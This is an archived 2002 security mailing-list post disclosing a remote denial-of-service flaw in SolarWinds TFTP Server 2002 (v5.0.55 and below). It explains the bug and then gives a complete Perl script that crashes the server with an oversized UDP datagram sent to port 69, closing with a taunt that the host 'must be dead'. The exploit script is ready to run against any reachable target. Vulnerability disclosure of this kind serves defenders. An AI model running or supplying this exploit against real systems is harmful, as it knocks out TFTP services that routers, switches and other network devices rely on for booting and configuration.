OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: D4rkGr3y (grey_1999_at_mail.ru)
Date: Thu Oct 24 2002 - 11:14:03 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    #############################################
    #Product: TFTP Server 2002 Standard Edition #
    #Authors: SolarWinds [www.SolarWinds.net] #
    #Vulnerable versions: v.5.0.55 and bellow #
    #Vulnerability: buffer overflow #
    #Bug&exploit by D4rkGr3y [www.dhgroup.org] #
    #############################################

    #Overview#--------------------------------------------------------------#
    From TFTP Server help:
    "Many network devices require a TFTP Server to load their initial
    operating system or configuration. Many routers, switches, hubs,
    X-terminals, printers, terminal servers, etc need a TFTP server
    in order to load their initial configuration".

    #Description#------------------------------------------------------------#
    First, TFTP - Trivial File Transfer Protocol. This is not FTP! TFTP and
    FTP are different protocols - it's very important! TFTP uses UDP protocol
    for it's work and it doesn't support some FTP's stuff. Directory travel
    for example. U can use TFTP for file transfer only. Read RFC 1350 for
    more details.

    #Bug#--------------------------------------------------------------------#
    It's possible to crash TFTP server using UDP datagram with a large size
    (8193b and above). Vulnerable application on remote host will be closed
    with error message:

    Run-time error '10040':
    The datagram is too large to fit into the buffer and is truncated.

    #Exploit#----------------------------------------------------------------#

    #!/usr/bin/perl
    #TFTP Server remote DoS exploit by D4rkGr3y
    use IO::Socket;
    $host = "vulnerable_host";
    $port = "69";
    $data = "q";
    $num = "8193";
    $buf .= $data x $num;
    $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $\n";
    $ipaddr = inet_aton($host);
    $portaddr = sockaddr_in($port, $ipaddr);
    send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
    print "Now, '$host' must be dead :)\n";

    #EOF

    Best regards www.dhgroup.org
      D4rkGr3y icq 540981